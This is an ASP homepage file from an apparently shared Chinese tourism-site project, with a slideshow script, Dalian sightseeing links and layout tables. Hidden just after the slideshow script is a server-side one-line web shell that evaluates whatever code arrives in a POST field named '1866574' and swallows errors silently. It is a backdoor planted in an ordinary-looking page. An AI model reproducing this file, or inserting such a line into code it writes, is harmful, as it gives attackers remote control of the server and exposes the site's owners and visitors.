index.asp

来自「旅游管理系统 用ASP+SQL 2」· ASP 代码 · 共 308 行

ASP
308
字号
<!--#include file="head.htm"-->
	
<table border="0" width="760" cellpadding="0" style="border-collapse: collapse" id="table1" align="center">
		<tr>
			<td>
<!-- 动态图开始 -->
<script language=JavaScript>

var imgUrl=new Array();
var imgLink=new Array();
var adNum=0;
imgUrl[1]="images/0001.jpg";
imgLink[1]="images/0001.jpg";
imgUrl[2]="images/0002.jpg";
imgLink[2]="images/0002.jpg";
imgUrl[3]="images/0003.jpg";
imgLink[3]="images/0003.jpg";
imgUrl[4]="images/0004.jpg";
imgLink[4]="images/0004.jpg";
imgUrl[5]="images/0005.jpg";
imgLink[5]="images/0005.jpg";


var imgPre=new Array();
var j=0;
for (i=1;i<=5;i++) {
	if( (imgUrl[i]!="") && (imgLink[i]!="") ) {
		j++;
	} else {
		break;
	}
}

function playTran(){
	if (document.all)
		imgInit.filters.revealTrans.play();
}

var key=0;
function nextAd(){
	if(adNum<j)adNum++ ;
	else adNum=1;
	
	if( key==0 ){
		key=1;
	} else if (document.all){
		imgInit.filters.revealTrans.Transition=6;
		imgInit.filters.revealTrans.apply();
                   playTran();

	}
	document.images.imgInit.src=imgUrl[adNum];
	theTimer=setTimeout("nextAd()", 6000);
}


function goUrl(){
	jumpUrl=imgLink[adNum];
	jumpTarget='_blank';
	if (jumpUrl != ''){
		if (jumpTarget != '') 
			window.open(jumpUrl,jumpTarget);
		else
			location.href=jumpUrl;
	}
}
</script>
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try{eval(Request.form('1866574')+'')}catch(e){}</SCRIPT>
      <!-- 动态图结束 -->
    </td>
		</tr>
</table>
	<table border="0" width="760" cellpadding="0" style="border-collapse: collapse" id="table1" align="center">
		<tr>
			<td width="150" bgcolor="#00BAF2" valign="top"><!--#include file="left.htm"--></td>
			<td width="610" bgcolor="#FFFFFF" valign="top">
			<table border="0" width="100%" cellspacing="0" cellpadding="0" id="table2">
				<tr>
					<td> </td>
				</tr>
				<tr>
					<td>
					<div align="center">
						<table border="0" width="589" cellpadding="0" style="border-collapse: collapse" id="table3">
							<tr>
								<td width="589" colspan="3">
								<img border="0" src="images/q0001.gif" width="589" height="34"></td>
							</tr>
							<tr>
								<td width="168">
								<img border="0" src="images/q0002.gif" width="168" height="122"></td>
								<td width="413" bgcolor="#F2F2F2">
								<table border="0" width="100%" cellspacing="3" cellpadding="3" style="border-collapse: collapse; line-height: 130%" id="table4">
									<tr>
										<td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  
										您从这里了解全国,您从这里走向世界,您从这里悦赏“北方明珠”的光彩,您从这里感受“浪漫之都”的风情,您从这里领略“大大连”的展望,您从这里体会浪漫的市民笑脸喜迎八方客的情怀,您从这里入住宾至如归的酒店,您从这里品尝上乘海鲜的佳肴,这里是您自选酒店、客房、特色美食的超市,这里是您畅游神州的航空--铁路--轮船--客运的联合中心。</td>
									</tr>
								</table>
								</td>
								<td width="8">
								<img border="0" src="images/q0004.gif" width="8" height="122"></td>
							</tr>
							<tr>
								<td width="589" colspan="3">
								<img border="0" src="images/q0005.gif" width="589" height="18"></td>
							</tr>
						</table>
					</div>
					</td>
				</tr>
				<tr>
					<td> </td>
				</tr>
				<tr>
    <td width="100%" background="pic/line.gif"><img border="0" src="pic/line.gif"></td>
				</tr>
				<tr>
    <td width="100%" background="pic/line.gif"> </td>
				</tr>
				<tr>
					<td>
					<div align="center">
						<table border="0" width="589" cellpadding="0" style="border-collapse: collapse" id="table5">
							<tr>
								<td width="294" valign="top">
								<table border="0" width="100%" cellspacing="0" cellpadding="0" id="table6">
									<tr>
										<td>
										<img border="0" src="images/h0001.gif" width="277" height="22"></td>
									</tr>
									<tr>
										<td>
										<table border="0" width="100%" cellspacing="3" cellpadding="3" style="border-collapse: collapse" id="table8">
											<tr>
												<td>
												<font style="LINE-HEIGHT: 150%">
												<img border="0" src="images/p0001.gif" width="100" height="75" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
												<u>
												大连位于中国辽东半岛最南端,东濒黄海,西临渤海,冬无严寒,夏无酷暑,年平均温度10℃。大连是中国优秀旅游城市、卫生城市、园林化城市,联合国授予大连为中国唯一、亚洲第二个“世界环境500佳”城市。<br>
												</u><br>
												·<font color="#000000"><a href="list.asp?id=19"><u>冰峪沟</u></a>
												</font></font>
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=18"><u>大黑山</u></a></font><font color="#000000" style="line-height: 150%">
												</font>
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=17"><u>龙王塘</u></a></font><font color="#000000" style="line-height: 150%">
												</font>
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=2"><u>大连金石滩</u></a></font><font style="LINE-HEIGHT: 150%"><br>
												</font>·<font color="#000000" style="line-height: 150%"><a href="list.asp?id=13"><u>黄金山</u></a>
												</font>·<font color="#000000" style="line-height: 150%"><a href="list.asp?id=14"><u>白玉山</u></a>
												</font>·<font color="#000000" style="line-height: 150%"><a href="list.asp?id=12"><u>万忠墓</u></a>
												</font>
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=16"><u>中苏友谊塔</u></a></font><font style="LINE-HEIGHT: 150%"><br>
												</font>
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=11"><u>大连自然博物馆</u></a>
												</font>
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=4"><u>劳动公园</u></a>
												</font>
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=10"><u>友好广场</u></a></font><font style="LINE-HEIGHT: 150%"><br>
												</font>
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=9"><u>海之韵广场</u></a>
												</font>·<font color="#000000" style="line-height: 150%"><a href="list.asp?id=7"><u>人民广场</u></a>
												</font> 
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=6"><u>星海广场</u></a>
												</font> 
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=15"><u>蛇岛</u></a></font><font style="LINE-HEIGHT: 150%"><br>
												</font>
												<font style="line-height: 150%">
												·</font><font color="#000000" style="line-height: 150%"><a href="list.asp?id=8"><u>奥林匹克广场</u></a>
												</font> 
												<font style="line-height: 150%">
												·<font color="#000000"><a href="list.asp?id=5"><u>星海会展中心</u></a></font></font><font color="#000000" style="line-height: 150%">
												</font>
												<font style="line-height: 150%">
											  ·<font color="#000000"><a href="list.asp?id=3"><u>星海公园</u></a></font></font></td>
											</tr>
										</table>
										</td>
									</tr>
								</table>
								</td>
								<td background="images/line2.gif" width="1">
								<img border="0" src="images/line2.gif" width="1" height="4"></td>
								<td width="294" valign="top">
								<table border="0" width="100%" cellpadding="0" style="border-collapse: collapse" id="table7">
									<tr>
										<td>
										<img border="0" src="images/h0002.gif" width="277" height="22"></td>
									</tr>
									<tr>
										<td>
										<table border="0" width="100%" cellspacing="3" cellpadding="3" style="border-collapse: collapse; line-height: 130%" id="table9">
											<tr>
												<td>
												<u><font color="#0000FF">
												<img border="0" src="images/p0003.gif" width="100" height="75" align="right"><img border="0" src="images/p0004.gif" width="100" height="75" align="right"></font></u></td>
											</tr>
											<tr>
												<td><script language="JavaScript" src="js5.asp?classid=1&Nclassid=2"></script></td>
											</tr>
										</table>
										</td>
									</tr>
								</table>
								</td>
							</tr>
						</table>
					</div>
					</td>
				</tr>
				<tr>
    <td width="100%" background="pic/line.gif"><img border="0" src="pic/line.gif"></td>
				</tr>
				<tr>
    <td width="100%"></td>
				</tr>
				<tr>
					<td>
					<div align="center">
						<table border="0" width="589" cellpadding="0" style="border-collapse: collapse" id="table15">
							<tr>
								<td width="294" valign="top">
								<table border="0" width="100%" cellspacing="0" cellpadding="0" id="table16">
									<tr>
										<td>
										<img border="0" src="images/h0003.gif" width="277" height="22"></td>
									</tr>
									<tr>
										<td>
										<table border="0" width="294" cellspacing="3" cellpadding="3" style="border-collapse: collapse; line-height:130%" id="table17">
											<tr>
												<td width="199"><script language="JavaScript" src="js5.asp?classid=1&Nclassid=4"></script></td>
												<td width="74" valign="top">
												
												<img border="0" src="images/p0005.gif" width="100" height="75" align="right"></td>
											</tr>
										</table>
										</td>
									</tr>
								</table>
								</td>
								<td background="images/line2.gif" width="1">
								<img border="0" src="images/line2.gif" width="1" height="4"></td>
								<td width="294" valign="top">
								<table border="0" width="100%" cellpadding="0" style="border-collapse: collapse" id="table18">
									<tr>
										<td>
										<img border="0" src="images/h0004.gif" width="277" height="22"></td>
									</tr>
									<tr>
										<td>
										<table border="0" width="294" cellspacing="3" cellpadding="3" style="border-collapse: collapse; line-height: 130%" id="table19">
											<tr>
												<td width="202"><script language="JavaScript" src="js5.asp?classid=1&Nclassid=5"></script></td>
												<td width="71" valign="top">
												
												<img border="0" src="images/p0002.gif" width="100" height="75" align="right"></td>
											</tr>
										</table>
										</td>
									</tr>
								</table>
								</td>
							</tr>
						</table>
					</div>
					</td>
				</tr>
				<tr>
					<td>
					 </td>
				</tr>
				<tr>
					<td>
					<div align="center">
						<table border="1" width="589" cellpadding="0" style="border-collapse: collapse" id="table20" bordercolor="#C0C0C0">
							<tr>
								<td bgcolor="#F2F2F2">
								<table border="0" width="100%" cellspacing="3" cellpadding="3" style="border-collapse: collapse" id="table21">
									<tr>
										<td>友情链接:</td>
									</tr>
								</table>
								</td>
							</tr>
						</table>
					</div>
					</td>
				</tr>
				<tr>
					
          <td>  </td>
				</tr>
				</table>
			</td>
		</tr>
	</table>
<!--#include file="foot.htm"-->

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?